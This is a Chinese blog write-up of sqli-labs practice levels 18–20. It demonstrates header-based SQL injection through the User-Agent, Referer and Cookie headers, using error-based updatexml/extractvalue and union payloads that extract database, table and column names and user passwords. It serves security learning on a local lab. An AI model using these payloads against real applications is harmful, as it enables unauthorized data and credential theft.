note-10

less18 可能是叫做报头注入

在有头部回显的状况下用

如图payload

1
User-Agent: ' or updatexml(1,concat('!',(database())),1),2,3)#

1

因为源码里有检查三个参数,所以要输入三个参数,或者用

1
2
3
4
5
' or extractvalue(1,concat(0x7e,database())) or'
```
闭合,此时后端代码就会变成
```sql
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('' or extractvalue(1,concat(0x7e,database())) or'', '$IP', $uname)";

前后两端的’是为了闭合原有的单引号中间用and,or等连接即可。

闭合单引号:通过’闭合原SQL语句中的单引号,确保语法正确。

使用or:or用于确保即使原语句的条件不成立,我们的注入语句仍然会被执行。

注入extractvalue():extractvalue()函数被用来触发报错,concat(0x7e,database())将数据库名称与一个波浪号(0x7e是波浪号的十六进制表示)拼接,从而在报错信息中回显出数据库名称。

闭合表达式:通过or ‘’闭合整个表达式,确保语法正确。

2

最终payload

1
2
3
User-Agent: ' or extractvalue(1,concat('!',(select concat(username,2,password)from users limit 0,1))),1,1)#

User-Agent: ' or extractvalue(1,concat(0x7e,database())),1,1)#

为什么要用 or 或 and 连接:

因为使用了报错注入,所以需要使用or或and来闭合原语句并插入的注入语句。

less19 头部注入-Referer

后端可以注入的语句

1
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

相比上一关只有两个参数,所以可以这样

1
2
3
4
5
6
7
8
9
Referer: ' or updatexml(1,concat('!',(databass())),1),2)#  //爆数据库

Referer: ' or updatexml(1,concat('!',(select group_concat(table_name)from information_schema.tables where table_schema='security')),1),2)# //爆表名

Referer: ' or updatexml(1,concat('!',(select concat(column_name)from information_schema.columns where table_name='users' and table_schema='security' limit 0,1)),1),2)#
//分段回显

Referer: ' or updatexml(1,concat('!',(select concat(id,username,'!',password)from users limit 0,1)),1),2)#
//最后一行行爆

3
也可以这样

1
Referer: ' or extractvalue(1,concat(0x7e,database())) or'

less20

题目提示cookie注入,登录正确的账户名出现以下界面
4
表头如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /sqli-labs/Less-20/index.php HTTP/1.1
Host: localhost
Cache-Control: max-age=0
sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/sqli-labs/Less-20/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: uname=admin
Connection: close

cookie只有一个unmae?
尝试在uname注入
5

发现注入点

1
Cookie: uname='union select 1,2,group_concat(id,username,'!',password) from users#

可能是该后端代码造成了注入

1
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

6


note-10
https://aidemofashi.github.io/2025/03/10/note-10/
作者
aidemofashi
发布于
2025年3月10日
许可协议